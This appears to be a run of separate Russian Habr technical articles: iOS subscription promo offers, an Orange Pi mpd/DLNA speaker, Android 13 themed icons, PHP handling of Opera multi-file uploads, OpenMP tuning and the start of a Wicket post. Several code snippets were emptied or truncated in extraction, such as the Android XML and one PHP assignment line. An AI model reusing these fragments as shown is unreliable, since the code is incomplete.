В iOS 12.2 Apple добавила новую классную фичу – промо-предложения. Теперь приложения с авто-возобновляемыми подписками могут предлагать нынешним или бывшим клиентам персональные скидки или дополнительный бесплатный период. Промо-предложения распространяются на платящих, плативших, находящихся в триале и отменивших триал пользователей. В отличие от вводного предложения, промо-предложение можно купить сколько угодно раз по усмотрению разработчика. Но реализация требует наличия сервера для генерации цифровой подписи.
Настройка промо-предложений в App Store Connect
-----------------------------------------------
Чтобы создать новое промо-предложение, перейдите в [App Store Connect](https://appstoreconnect.apple.com) и откройте страницу с вашей подпиской. Нажмите *"+"* в разделе цен на подписку и выберите *"Создать промо-предложение"*:
Укажите оригинальное название промо-предложения и его идентификатор – *Product Code*:
Укажите стоимость и тип промо-предложения:
* оплата по факту использования;
* предоплата;
* бесплатный период.
Сохраните изменения.
Ключ подписки
-------------
Для использования промо-предложений нужно сгенерировать цифровую подпись используя ключ подписки. Его нужно создать в App Store Connect.
Перейдите в раздел *"Пользователи и Доступ"*, далее во вкладку *"Ключи"*. Создайте новый Ключ подписки, указав его имя.
После создания ключа нажмите *"Загрузить ключ API"* и сохраните файл в безопасном месте.
> Ключ подписки, скачанный с App Store Connect, имеет следующий формат названия: SubscriptionKey\_[KEY\_ID].p8, где KEY\_ID – идентификатор ключа.
Генерация подписи
-----------------
Здесь начинается самое сложное и, на мой взгляд, ненужное. Apple перестраховались, добавив генерацию подписи, чтобы пользователь не мог взломать StoreKit и оформить промо-предложение без ведома разработчика. Напомню, что эти скидки доступны только платящим пользователям. Разве будут текущие клиенты пытаться взломать систему ради скидки?
С точки зрения мобильного клиента, генерация подписи нужна, чтобы, имея класс `SKProductDiscount`, создать класс `SKPaymentDiscount`, который будет добавлен в `SKMutablePayment` для совершения покупки. Рассмотрим подробнее.
#### SKProductDiscount
Объекты этого класса хранятся в массиве `discounts` у `SKProduct`. Все созданные промо-предложения являются объектами класса `SKProductDiscount`. Как и в случае вводных предложений, вы можете получить длительность, цену и количество промо-периодов. Получается, этот класс нужен для отображения условий покупки в интерфейсе приложения.
#### SKPaymentDiscount
Этот класс создает разработчик с помощью данных, полученных от вашего сервера. Взглянем на исходные файлы и увидим единственный метод инициализации:
```
public init(identifier: String, keyIdentifier: String, nonce: UUID, signature: String, timestamp: NSNumber)
```
* `identifier` – идентификатор промо-предложения. Берется из `SKProductDiscount`.
* `keyIdentifier` – идентификатор ключа подписки.
* `nonce` – произвольная строка, сгенерированная на сервере для большей защиты подписи, или *соль*. В iOS необходимо будет создать класс UUID, используя эту соль.
* `signature` – цифровая подпись, полученная от вашего сервера в виде base64-строки.
* `timestamp` – дата создания подписи в миллисекундах. Она нужна, чтобы сравнивать время создания подписи и время самой покупки, ведь подпись действительна только 24 часа.
Сам код для генерации подписи на сервере является задачей не из легких, но Apple предоставила [пример](https://developer.apple.com/documentation/storekit/in-app_purchase/generating_a_subscription_offer_signature_using_node_js) кода на Node.js. Ключ подписи должен быть загружен на ваш сервер и вы должны вернуть все указанные выше данные на мобильный клиент.
Более подробно о генерации подписи читайте [здесь](https://developer.apple.com/documentation/storekit/in-app_purchase/generating_a_signature_for_subscription_offers).
Оформление покупки
------------------
Промо-предложение покупается так же, как и обычная покупка. Единственное отличие – добавление объекта класса `SKPaymentDiscount`.
```
let payment = SKMutablePayment(product: product)
payment.paymentDiscount = discount
SKPaymentQueue.default().add(payment)
```
Что дальше?
-----------
Вам удалось успешно сгенерировать подпись и оформить первую покупку в Sandbox. Это замечательно! Но сами промо-предложения не решат проблему увеличения прибыли и возврата пользователей. Ваша задача – показать их пользователю в нужный момент. В какой? Например, можно попытаться вернуть пользователей, отменивших подписку, отправив им уведомление.
### Возврат отвалившихся клиентов
С помощью промо-предложений вы можете попытаться вернуть ушедших клиентов. Для этого нужно реализовать целый комплекс функций: промо-предложения, серверные уведомления о статусах подписок, пуш уведомления, хранение чеков пользователей на сервере и поиск пользователя по номеру транзакции. Это непросто.
### Опрос отвалившихся клиентов
Привлечение нового пользователя обходится в разы дороже, чем удержание действующего клиента. Поэтому особенно важно понимать мотивы, заставляющие пользователей отменять триалы и подписки.
Многие пользователи отписываются, потому что больше не нуждаются в приложении, и ваша скидка может не сработать. В данном случае вместо того, чтобы предлагать скидку, стоит выяснить, что ему не нравится и *что* может повлиять на его решение вернуться в приложение.
### Предлагать скидки в обмен на действие
Чаще всего – это приглашение друга в обмен на скидку или бесплатное пользование. Это действительно может сработать, однако на реализацию реферральной системы у вас уйдет немало времени.
#### Как это реализовано в Apphud
[Apphud](https://apphud.com/h) отслеживает отписки, опрашивает ушедших пользователей и предлагает скидки без необходимости написания кода. Экраны скидок создаются в конструкторе в личном кабинете. Для пользователя это выглядит так:
*Apphud показывает экран опроса при отмене триала или подписки и, если нужно, сразу предлагает скидку.*
Мы назвали каждую отдельную механику по возврату пользователя *Правилом*. Подробнее о том, как настроить правила, читайте [здесь](https://docs.apphud.com/docs/en/rules).
Заключение
----------
Подписочная бизнес-модель уже стала стандартом в неигровых мобильных приложениях. Удержание пользователя и понимание причин их ухода – важная задача, которую нужно решать уже на этапе запуска мобильного проекта.
> [Apphud](https://apphud.com/h) поможет с интеграцией подписок:
>
> * оформляйте покупки с помощью лишь одного метода;
> * автоматически отслеживайте состояние подписки каждого пользователя;
> * легко интегрируйте Subscription Offers;
> * отправляйте события о подписках в Amplitude, Mixpanel, Slack и Telegram с учетом локальной валюты пользователя;
> * уменьшайте Churn rate в приложениях и возвращайте отписавшихся пользователей.
>
>
>
> | https://habr.com/ru/post/466819/ | null | ru | null |
# WiFi колонка/плеер на базе Orange Pi Zero или история о потерянном времени
Доброго дня уважаемым хабровчанам!
### Предыстория
История моя началась с того, что по просьбе одного друга нужно было сделать небольшое программируемое устройство с выводом звука и GPIO. Давно хотел поработать с каким-либо одноплатником \*Pi и потому сразу решил делать на чем-то подобном (результат + опыт). Друг почти сразу отказался от предложенного проекта, ну а я оказался с купленной платой OrangePi Zero. Некоторое время провалялась она без дела, пока не отдали мне старый МФУ Canon MX320 без поддержки сети. Мне очень не хотелось иметь лишний провод от ноутбука к принтеру, и в результате апельсинка была извлечена, настроена и работает с тех пор в качестве CUPS сервера по USB (результат, кстати, хороший, но это уже совсем другая история).
### Завязка
Однажды надоело мне вечно подключать через minijack мой телефон к колонкам. Стоят они хорошо, удобно, и переносить их неохота. А телефон, вечно висящий на линейнике- это уже не мобильный телефон, а что-то похожее на старые проводные аппараты. Ноутбук у меня тоже стоит так, что подключать к нему кабель к колонкам было бы неудобно. Да и сама машинка старая (10 лет уже), лишний аудиоплеер — лишняя нагрузка.
Можно, конечно же, купить bluetooth-колонки. Или bluetooth-адаптер. Но это значит малый радиус действия и проигрывание музыки только на том устройстве, с которым по bluetooth связан телефон. Надо что-то посерьезнее. «Здорово было бы повесить такой сервер на апельсинку, который мог бы принимать аудиопоток с смартфона по WiFi, — подумал я, — ведь она постоянно подсоединена по ethernet к роутеру, малонагружена (так как стоит на ней Ubuntu Server 16.04), разместить можно удобно, электричества потребляет мало.» Сказано — сделано.
### Часть 0, аппаратная
Для начала нужно было гнездо для jack соединить с апельсинкой. Брал я голую плату, поэтому все нужно было спаять самому. Сложного ничего нет, и сразу скажу: нет особого смысла делать это — проще купить готовую плату расширения. Советую этот способ, потому что у меня на самодельной плате помехи влияют на звук колонок (в частности, при передаче на принтер большого задания на печать, или же при установке больших пакетов). Причин, скорее всего, две — моя плохая работа + питание заведено сразу на плату, а не через microUSB.
Потому фото платы, пайки и руководств не будет, если понадобятся — легко находятся в сети.
Если выберете покупку платы — сэкономите время и силы, при этом сразу будет и гнездо для миниджека, еще два USB-разъема, инфракрасный датчик и микрофон. Вторую апельсинку покупал уже в наборе с корпусом и платой расширения, пожалел, что так не сделал с самого начала.
### Часть 1, программная
Подключаемся по SSH (если стандартный логин-пароль не меняли, то это root orangepi).
Не забываем сделать
```
apt update
```
(все равно позже понадобится)
По умолчанию звук выключен, поэтому чтобы его включить, делаем следующее:
Запускаем alsamixer.
```
alsamixer
```
Включаем audio line out (нужный выключатель находится по центру), для этого стрелками переходим на пять позиций вправо и нажимаем m
Выходим, нажав Esc.
Сохраняем текущее состояние
```
alsactl store
```
Текущее состояние все равно сбросится после перезагрузки, потому добавляем строчки
```
alsactl restore
```
в rc.local, чтобы параметры восстанавливались автоматически:
```
cd /etc
```
```
nano rc.local
```
```
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
# ** Overclock to 1.728 GHz
#echo 1728000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 0 > /proc/sys/kernel/hung_task_timeout_secs
dmesg -n 1
alsactl restore
exit 0
```
Советую после этого проверить — выполняем сперва перезагрузку
```
reboot
```
Устанавливаем mplayer
```
apt install mplayer
```
и проверяем работоспособность
```
mplayer http://nashe1.hostingradio.ru/nashe-128.mp3
```
Если радио заиграло, значит — все в порядке.
Можно, правда, просто запустить после перезагрузки
```
speaker-test
```
но мне больше нравится остальную настройку проводить под радио.
### Часть 2. mpd
После того, как вывод звука настроен, можно приступать к установке чего-то полезного. А в моем случае, это был как раз mpd и mpc (клиент для mpc — работает в терминале). Что такое mpd? Это сетевой плеер-демон, который работает прекрасно без графического интерфейса и потому не нагружает систему. Возможностей настроек — уйма, на любой вкус. Спокойно проигрывает музыку из сети и из локальной коллекции. Есть даже статья о взаимодействии mpd с Яндекс.Музыкой и с Google Music.
Управляться может с любой ОС — клиенты есть под Windows, Linux, Android, ios, mac os, Symbian, потому очень удобен.
Устанавливаем
```
apt install mpd mpc
```
Все настройки находятся в файле /etc/mpd.conf
```
nano /etc/mpd.conf
```
Обязательно меняем следующую директиву
```
bind_to_address "localhost"
```
на
```
bind_to_address "any"
```
потому что именно она обеспечивает возможность управления mpd по сети.
И переходим в секцию *Audio Output*
Настраиваем вывод через alsa
```
audio_output {
type "alsa"
name "My ALSA Device"
normalize "yes"
device "hw:0,0" # optional
mixer_type "software" # optional
# mixer_device "default" # optional
# mixer_control "PCM" # optional
# mixer_index "0" # optional
}
```
Если не добавить директиву normalize «yes», то звук будет очень тихим. К сожалению, подробнее об этой директиве написать ничего не могу, не было времени искать информацию.
Директиву
```
device "hw:0,0" # optional
```
я добавил совсем недавно, без нее mpd работает прекрасно (если работает в одиночку), и потребовалась она только потому, что я ставил дополнительные компоненты, о которых ниже.
Перезапускаем mpd
```
service mpd restart
```
Все, можем подключаться.
Идем в любой клиент, вводим IP нашего сервера, соединяемся. Сперва, конечно же, и в плейлистах, и в файлах, и в потоках пусто. Чтобы mpd увидел ваши локальные файлы, нужно либо поменять настройки в /etc/mpd.conf, указав в секции
*Files and directories*
путь к вашей папке с музыкой
*music\_directory "/home/orangepi/Music*
```
# Files and directories #######################################################
#
# This setting controls the top directory which MPD will search to discover the
# available audio files and add them to the daemon's online database. This
# setting defaults to the XDG directory, otherwise the music directory will be
# be disabled and audio files will only be accepted over ipc socket (using
# file:// protocol) or streaming files over an accepted protocol.
#
music_directory "/var/lib/mpd/music"
music_directory "/home/orangepi/Music"
```
Но у меня все равно локальных файлов нет, а используется жесткий диск ноутбука, подмонтированный по Samba прямо в папку /var/lib/mpd/music. В планах покупка внешнего жесткого и подключение его к апельсинке, но пока финансы не позволяют.
В любом случае, после того, как добавлен путь к папке с музыкой (или подмонтирована сама папка) нужно сделать обновление коллекции. Сделать это можно из любого клиента, самое простое
```
mpc update
```
Ждем некоторое время (больше коллекция — больше времени надо для ее сканирования).
Все, можем наслаждаться музыкой!
Меня mpd будит по утрам вместо будильника. Очень хорошо и приятно просыпаться под разную музыку/станции в разное время и дни.
### Часть 3. Собственно, WiFi колонка
Итак, mpd это, конечно, хорошо, но желаемую задачу он не выполняет — нет трансляции звука с телефона при проигрывании музыки на нем. Несколько бессонных ночей — и была найдена статья о превращении \*Pi в приемник аудиопотока.
Вкратце:
то, что мне нужно — очень похоже на Chromecast от Google, ведь он поддерживает передачу звука по Wi-Fi и эта передача есть во многих приложениях.
Но у меня все-таки не Chromecast, а апельсинка. Если я правильно понимаю, пока что протокол Chromecast закрыт. Но это измененный протокол DLNA, который как раз служит для передачи медиаконтента по сети.
Ага!
Сразу же находится в репозиториях пакет minidlna.
Ставим
```
apt install minidlna
```
Так, теперь есть dlna-сервер на апельсинке. Ставим dlna-плеер к себе на телефон.
Облом.
Сервер есть, видится, есть доступ к коллекции и проигрывание контента, но на телефоне. А транслировать аудиопоток пока нельзя.
Разбираемся с протоколом: оказывается, есть DLNA сервер, DLNA контроллер (для управления воспроизведением) и (!) DLNA рендерер.
Последний как раз нам и нужен.
В репозиториях его нет, потому ставим так
```
wget -O - http://www.chiark.greenend.org.uk/~christi/debian/christi@coraline.org.gpg.key \
| sudo apt-key add -
echo deb http://www.chiark.greenend.org.uk/~christi/debian/ wheezy main
> /etc/apt/sources.list.d/upnprender.list
apt-get update
apt-get install libupnp-dev libgstreamer1.0-dev \
gstreamer1.0-plugins-base gstreamer1.0-plugins-good \
gstreamer1.0-plugins-bad gstreamer1.0-plugins-ugly \
gstreamer1.0-alsa
apt install git
cd
git clone https://github.com/hzeller/gmrender-resurrect.git
cd gmrender-resurrect
apt-get install autoconf
./autogen.sh
./configure
make install
cp scripts/init.d/gmediarenderer /etc/init.d
update-rc.d
update-rc.d gmediarenderer defaults
```
У автора gmediarenderer запускается при старте системы через init, у меня этот способ пока не работает, потому добавлена строчка в /etc/rc.local
```
/usr/local/bin/gmediarender -f Garden -d -u bd1dcf3e746aa69812943cb1d00f7ebc --gstout-audiosink=alsasink --gstout-audiodevice=sysdefault --gstout-i$
```
```
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
# ** Overclock to 1.728 GHz
#echo 1728000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 0 > /proc/sys/kernel/hung_task_timeout_secs
dmesg -n 1
bash /root/sh/script0.sh
/usr/local/bin/gmediarender -f Garden -d -u bd1dcf3e746aa69812943cb1d00f7ebc --gstout-audiosink=alsasink --gstout-audiodevice=sysdefault --gstout-i$
exit 0
```
Для того, чтобы можно было теперь слушать аудиопоток с смартфона на OrangePi, ставим BubbleUPnP, или же HiFi Cast, поиск в Google Play выдает много результатов по запросу DLNA. Далеко не все можно отрендерить. Ни ВК ни Яндекс.Музыка/Радио не рендерятся. Но это все равно больше, чем ничего. На текущий момент воспроизводится любая локальная музыка с телефона + SoundCloud.
К сожалению, после установки gmediarender перестал нормально работать mpd — воспроизведение есть, а звука нет. Поиск ничего не дал, решение найдено случайно — нужно в файле /etc/mpd.conf раскомментировать строку, которая находится в секции Audio Output, в блоке, описывающем вывод через alsa:
```
device "hw:0,0" # optional
```
После раскомментирования этой строчки звук вернулся, mpd заработал в штатном режиме.
### Итоги
В целом задачу можно считать выполненной.
На текущий момент можно слушать любую музыку с планшета/телефона через WiFi на колонках, можно включать сетевой плеер, проигрывать музыку с апельсинки на телефоне/планшете.
В планах — допилить dlna-рендерер, настроить парсер для mpd (чтобы сам искал мне музыку в сети), добавить жесткий диск (скорость по Samba все-таки низкая).
Получилось достаточно удобно, функционально и просто, да и дешево (на все вместе 1900 рублей, сам OrangePi и карта microSD). Если брать комплект (OrangePi, корпус, плата и microSD), можно уложиться в ту же сумму, если постараться.
На этом все, буду рад отзывам и комментариям. | https://habr.com/ru/post/341650/ | null | ru | null |
# Создаём тематические иконки для приложения на Android 13
В 2021 году Google анонсировал [Material You](https://material.io/blog/announcing-material-you) и тем самым взял курс на персонализацию Android-устройств.
Одним из способов настройки внешнего вида своего рабочего стола для пользователя стала добавленная в этом году в Android 13 новая функция - "**Тематические значки"**.
Тематические значки - это иконки, которые могут изменять свой цвет в зависимости от цвета, выбранного пользователем:
На момент публикации удалось найти только пару приложений, которые уже имеют адаптивные иконки (не считая приложений Google, разумеется):
Далее мы рассмотрим весь процесс создания тематической иконки для вашего приложения.
Итак, определимся, что файл с иконкой у нас будет называться `ic_launcher.xml.`
Укажем его в манифесте:
```
```
Создаем папку `res/mipmap-anydpi-v26 и в ней`файл `ic_launcher.xml` следующего вида:
```
xml version="1.0" encoding="utf-8"?
```
где `iconColor` - это основной цвет *фона* вашей иконки, а `ic_launcher_foreground`-
это сама иконка в *векторном* формате.
Файл `ic_launcher_foreground.xml` должен находиться у вас в папке `drawable-v24`.
Пример содержимого файла `ic_launcher_foreground.xml`:
```
```
Google [накладывает](https://developer.android.com/develop/ui/views/launch/icon_design_adaptive#design-adaptive-icons) следующие ограничения для адаптивных иконок:
* Иконка должна иметь один слой
* Размер слоя должен быть 108x108dp
* Размер самого логотипа на иконке должен быть не меньше 48x48dp, но и не превышать 72x72dp
* Нужно оставить отступы 18dp от каждой стороны логотипа
* Для иконки нельзя использовать тени или маски
Вот и все. Теперь ваше приложение поддерживает новую функцию Android 13 "Тематические значки", и его иконку хочется перенести на рабочий стол на видное место. | https://habr.com/ru/post/709428/ | null | ru | null |
# Загрузка браузером нескольких файлов
Если нужно дать пользователю возможность загрузки нескольких файлов, традиционное решение на данный момент — использовать для этой цели Flash (реже — Java applet или ActiveX). В случае, если соответствующий плагин недоступен, пользователю, как правило, показывают стандартный HTML-элемент для загрузки файла.
Последнюю ситуацию можно улучшить, если использовать встроенную в браузеры возможность множественной загрузки файлов. Из всех браузеров сейчас данную возможность не поддерживает только Internet Explorer (впрочем, мы ещё не видели девятую версию, может там что-то изменится), остальные браузеры — Opera 9 и выше (а так же версии 3.5—6.05), Firefox 3.6+, Chrome 3.0.191.0+ и Safari 4.0.1+ такую возможность предоставляют.
Достаточно написать что-то вроде
> `Copy Source | Copy HTML1. <form enctype="multipart/form-data" method="post">
> 2. <input type="file" min="1" max="9999" name="file[]" multiple="true" />
> 3. <input type="submit" name="submit" />
> 4. form>`
PHP оказался готов к такой конструкции (именно для него в параметре «name» стоят квадратные скобки), он просто разложит загружаемые файлы по элементам массива $\_FILES, если только мы не используем «Оперу».
К сожалению, «Опера» (ещё с версии 3.5) отправляет, при использовании мультизагрузки, файлы в контейнере «multipart/mixed», который PHP не понимает.
Я попробовал исправить эту ситуацию.
К счастью для нас, PHP, приняв такой запрос, поместит его содержимое в массив $\_POST (в данном случае он попадёт в $\_POST['file'][0], дальше остаётся только распарсить его и переложить в $\_FILES (надеюсь, директива [magic\_quotes\_gpc](http://ru2.php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc) у вас отключена).
В качестве парсера я использовал PECL-модуль [mailparse](http://pecl.php.net/package/mailparse) (есть [бинарник для Windows](http://downloads.php.net/pierre/)).
У меня в примере ожидается параметр «file», но это значение легко вынести в настройку. Код мне кажется достаточно простым, чтобы его не комментировать, но, если что-то не понятно, спросите, я добавлю комментарии.
> `Copy Source | Copy HTML1. if (isset($\_POST['file'], $\_POST['file'][ 0])) {
> 2.
> 3. if ($idx = strpos($\_POST['file'][ 0], "\n")) {
> 4. $bound = substr($\_POST['file'][ 0], 2, $idx-2);
> 5.
> 6. $body = "MIME-Version: 1.0\nContent-type: multipart/form-data; boundary={$bound}\n\n".
> 7. $\_POST['file'][ 0];
> 8.
> 9. unset($\_POST['file'][ 0]);
> 10. $f = &$\_FILES['file'];
> 11.
> 12. $f['name'] = $f['type'] = $f['tmp\_name'] = $f['error'] = $f['size'];
> 13.
> 14. $msg = mailparse\_msg\_create();
> 15.
> 16. if (mailparse\_msg\_parse($msg, $body)) {
> 17. $i = 0;
> 18.
> 19. foreach(mailparse\_msg\_get\_structure($msg) as $st) {
> 20.
> 21. $section = mailparse\_msg\_get\_part($msg, $st);
> 22.
> 23. $data = mailparse\_msg\_get\_part\_data($section);
> 24.
> 25. if ($data['content-type'] == 'multipart/form-data') {
> 26. continue;
> 27. }
> 28.
> 29. ob\_start();
> 30. if (mailparse\_msg\_extract\_part($section, $body)) {
> 31. $tmp = tempnam(sys\_get\_temp\_dir(), 'php');
> 32. file\_put\_contents($tmp, ob\_get\_clean());
> 33.
> 34. $f['name'][$i] = $data['disposition-filename'];
> 35. $f['type'][$i] = $data['content-type'];
> 36. $f['tmp\_name'][$i] = $tmp;
> 37. $f['error'][$i] = 0;
> 38. $f['size'][$i] = filesize($tmp);
> 39.
> 40. $i++;
> 41. } else {
> 42. ob\_end\_clean();
> 43. }
> 44. }
> 45. }
> 46. unset($f);
> 47.
> 48. mailparse\_msg\_free($msg);
> 49. }
> 50. }`
Я не совсем уверен насчёт публикации этой статьи в блог «PHP», возможно «HTML» подошёл бы больше, с другой стороны, здесь рассматривается способ использования множественной загрузки вместе в PHP.
**P.S.** перенёс в «Веб-разработка», как предложили в комментариях, действительно блог к теме намного ближе. | https://habr.com/ru/post/76749/ | null | ru | null |
# Оптимизация в OpenMP
Постепенное развитие проекта шло своим чередом.
На часть полученных по гранту средств было произведено обновление парка личной вычислительной техники. В итоге расчёты сейчас осуществляются не на многострадальном ноутбуке, а на вполне приемлемой машине с псевдовосьмиядерным Intel Core i7-2600 и 8 Gb оперативной памяти на борту. А разработка производится под Visual Studio 2005 (получена по программе DreamSpark) с подключенной триал-версией Intel FORTRAN Compiler 12 / Intel Parallel Studio XE 2011 (всё это крутится под Win 7). В качестве параллельного API задействован OpenMP.
Ввиду явно заметного роста доступных мощностей, обнаружились и новые негативные особенности написанного ранее алгоритма. Прежде всего, с марта месяца была проведена глубокая оптимизация вычислительной части кода, что позволило выиграть в производительности около 70%. Такой прирост обеспечила прежде всего ликвидация операций деления, а также увеличение количества предвычисляемых переменных.
**upd:** Пост, в общем-то, о серой рабочей повседневности, и никаких открытий в себе не содержит.
#### Мелкие пакости
Программа исправно использовалась и выдавала хорошие результаты, пока в один прекрасный день не было решено проверить, насколько эффективно выполнено распараллеливание. И, скорее даже ожидаемо, чем удивительно, исполнение в один поток оказалось в среднем вдвое быстрее многопоточных запусков, причём независимо от количества потоков.
Ответ, в общем-то, лежит на поверхности. Алгоритм с математической точки зрения оказался оптимизирован настолько, что его узким местом стал обмен данными между отдельными потоками, что подтвердилось даже при беглом анализе в Intel Vtune Amplifier. Наибольших временных затрат потребовала инициализация потоков и их локальных переменных, а также обращение к общим переменным и массивам. Немалую роль в заметности проявившейся пакости сыграл и тот факт, что до сих пор применялась грубая расчётная сетка, всего 3х200 пространственных узлов (своего рода имитация одномерной задачи), и время вычислений оказалось относительно малым.
#### Мелкие исправления
Что же было сделано для оптимизации?
В первую очередь, подкорректированы директивы и разделение переменных по классам. В частности, основные рабочие массивы, в которых хранятся величины, являющиеся целью расчёта, из `SHARED` были превращены в `THREADPRIVATE` посредством задания атрибута `COMMON` (что попутно оптимизировало их размещение в памяти) и директивы `COPYIN`. Предвычисляемые переменные были оставлены в виде `SHARED`, т.к. применение к ним `FIRSTPRIVATE` или `COPYIN` заметного эффекта не только не давали, но и ухудшали результаты. Итого, директива перед основными рабочими циклами приняли примерно такой вид:
```
!$OMP PARALLEL DO NUM_THREADS(Threads_number) SCHEDULE(DYNAMIC) &
!$OMP PRIVATE(...) &
!$OMP COPYIN(...) &
!$OMP DEFAULT(SHARED)
```
Здесь опущены списки переменных, т.к. с ними код занимает около десятка строчек.
Всего же таких мест в коде девять. Девять бутылочных горлышек, через которые программа, цитируя М. Евдокимова, «Пищит, но лезет».
Перекидывание разных переменных туда-сюда продолжалось пару вечеров, однако об оптимальности работы не могло быть и речи. Запуск на полной загрузке процессора показывал, что в среднем одновременно существуют только 2.1 — 2.3 потока. Процессорное время же расходовалось исправно в восьмикратном размере. Для наглядности, гистограммы из VTune Amplifier для сетки 3х200:
Для 100х100:
Для 200х200:
Очевидно, что по мере увеличения доли вычислений, результаты улучшаются, однако высокой эффективностью называть такое желания нет.
Применение к потокам принудительного лишения сна посредством увеличения значения KMP\_BLOCKTIME с 200 мс до 10 с точно так же помогло лишь чуточку.
#### Глупости мелкими бывают редко
Неожиданно был брошен суровый взгляд на «пространственно-временную» структуру, образуемую в алгоритме потоками. И всё сразу встало на свои места. Слабым местом оказалась директива
```
!$OMP PARALLEL DO NUM_THREADS(Threads_number) SCHEDULE(DYNAMIC)
```
Ключевое слово `PARALLEL` отвечает, как известно, за границы параллельной и последовательной области кода. По её достижении, происходит создание новых нитей, перераспределение локальных переменных в их памяти и прочие процедуры, требующие немалого времени. Таких мест, как уже говорилось, было девять. Соответственно, девять раз потоки создавались и уничтожались, а при этом между ними кое-где даже не было последовательных участков. Схематически, это можно представить на такой картинке:
Была проведена полная реорганизация структуры параллельной части программы. Теперь схема потоков выглядит так:
Вертикальные штриховые линии условно показывают границы параллельных циклов, а ближе к концу использована директива `SINGLE` — там осуществляется запись результатов расчёта на диск, для чего работа всех потоков, кроме одного, приостанавливается. Распараллелить её как минимум затруднительно, хотя есть идея записывать в одном потоке и выполнять дальнейший цикл в остальных, т.к. он от записи на диск не зависит, либо переставить их местами. Но это уже детали, к делу отношения не имеющие.
А в исходном тексте структура директив выглядит так:
```
Time_cycle: do n = 0, Nt, 1
!$OMP PARALLEL NUM_THREADS(Threads_number) &
!$OMP PRIVATE(...) &
!$OMP COPYIN(...) &
!$OMP DEFAULT(SHARED)
!$OMP DO SCHEDULE(DYNAMIC)
...
!$OMP END DO
... ещё 7 таких параллельных циклов
!$OMP SINGLE
... запись на диск
!$OMP END SINGLE
!$OMP DO SCHEDULE(DYNAMIC)
...
!$OMP END DO
!$OMP END PARALLEL
enddo Tyme_Cycle
```
Т.е., всё тело цикла по времени (программа производит прямое численное моделирование эволюции гидродинамической системы) теперь находится в параллельной области, потоки создаются в начале итерации и уничтожаются только при её завершении, а не воскрешаются неоднократно. Обёртывать в параллельную область и временной цикл уже не представляется возможным, поскольку каждая его итерация, естественно, полностью зависит от предыдущей (*прошу поправить, ежели не так — моя логика здесь даёт определённый сбой*).
Финальным улучшением, направленным на ускорение работы, явилось отключение барьерной синхронизации между потоками в некоторых циклах, где это не повлияет на последующие вычисления.
В результате, время действительно параллельного исполнения кода как будто бы увеличивается. На сетке 3х200 узел VTune изображает такой результат:
На сетке 100х100 — такой:
Наконец, на 200х200 — такой:
Таким образом, подтверждаем давнюю истину, что на больших сетках, когда вычислений реально много, они занимают большую часть времени и параллелизм эффективен. На маленьких же сетках требуется оптимизировать обмен между процессами, иначе результаты оказываются не радостными. Да и несмотря на это, последовательные этапы занимают преобладающую часть рабочего времени.
Возникает вопрос, стоит ли проделанная работа по оптимизации потраченного времени и сил? Проверим реальную скорость выполнения программы. Запуск осуществлён на тех же трёх разных сетках с восемью потоками, и измерено время до некоторой контрольной точки. Контрольные точки во всех случаях разные, посему проводить сравнение по абсолютным величинам между разными сетками будет некорректно — 1 млн. итераций для 3 х 200, 500 тыс. для 100 х 100 и 200 тыс. для 200 х 200 узлов. Во второй строчке в скобках приводится относительное различие времени исполнения двумя вариантами программы.
| Размер сетки | Время выполнения, с |
| --- | --- |
| 3 х 200, до оптимизации | 94.4 |
| 3 х 200, оптимизировано | 70.0 (-26 %) |
| 100 х 100, до оптимизации | 352 |
| 100 х 100, оптимизировано | 285 (-19 %) |
| 200 х 200, до оптимизации | 543 |
| 200 х 200, оптимизировано | 436 (-19 %) |
Вполне очевидно, что проведённая оптимизация обеспечила неплохой прирост производительности.
Попутно сравним качество распараллеливания, определив таким же способом прирост производительности по мере увеличения числа потоков. Сразу следует оговориться, что на одном потоке вычисления могут оказаться быстрее, чем на двух-трёх, в силу, во-первых, отсутствия необходимости обмениваться данными с соседями, а во-вторых, работы TurboBoost, поднимающей тактовую частоту на 400 МГц. Также напомним, что физических ядер у упомянутого в начале процессора всего 4, и ускорение на 8 потоках — результат работы Hyper-Threading.
Сетка 3х200, 1 млн. итераций:
| Число потоков, до оптимизации | Время выполнения, с |
| --- | --- |
| 1 | 80.9 |
| 2 | 88.7 |
| 3 | 84.4 |
| 4 | 83.7 |
| 8 | 94.4 |
| Число потоков, после оптимизации | Время выполнения, с |
| 1 | 87.9 |
| 2 | 145 |
| 3 | 113 |
| 4 | 97.8 |
| 8 | 70.0 |
Сетка 100х100, 500 тыс. итераций:
| Число потоков, до оптимизации | Время выполнения, с |
| --- | --- |
| 1 | 918 |
| 2 | 736 |
| 3 | 536 |
| 4 | 431 |
| 8 | 352 |
| Число потоков, после оптимизации | Время выполнения, с |
| 1 | 845 |
| 2 | 528 |
| 3 | 434 |
| 4 | 381 |
| 8 | 285 |
Если на малом числе узлов результаты, мягко говоря, неоднозначные, хотя и свидельствующие в пользу многопоточности и успешности оптимизации, то на большом их количестве — всё вновь очевидно.
Выводы? Основной вывод один — следите за тем, как рождаются и умирают потоки в программе. Продление их жизни может оказаться полезным.
Реализованная перекомпоновка пространственно-временной структуры потоков описана, в частности, здесь:
[Эффективное распределение нагрузки между потоками с помощью OpenMP\*](http://software.intel.com/ru-ru/articles/more-work-sharing-with-openmp/). Вот только прочитано оно было уже после придумывания решения. *Сэкономил бы пару дней, эх.* | https://habr.com/ru/post/141172/ | null | ru | null |
# Пять причин, по которым следует использовать Apache Wicket
Apache Wicket - это фреймворк для веб-разработки на Java. Я чувствую, что ему не уделяют столько внимания, сколько он того заслуживает. Я профессионально использую Wicket для реальных проектов последние 6 лет и мне это нравится! В этом посте давайте рассмотрим пять причин, по которым вам стоит подумать об его использовании.
1. Простое управление состоянием
--------------------------------
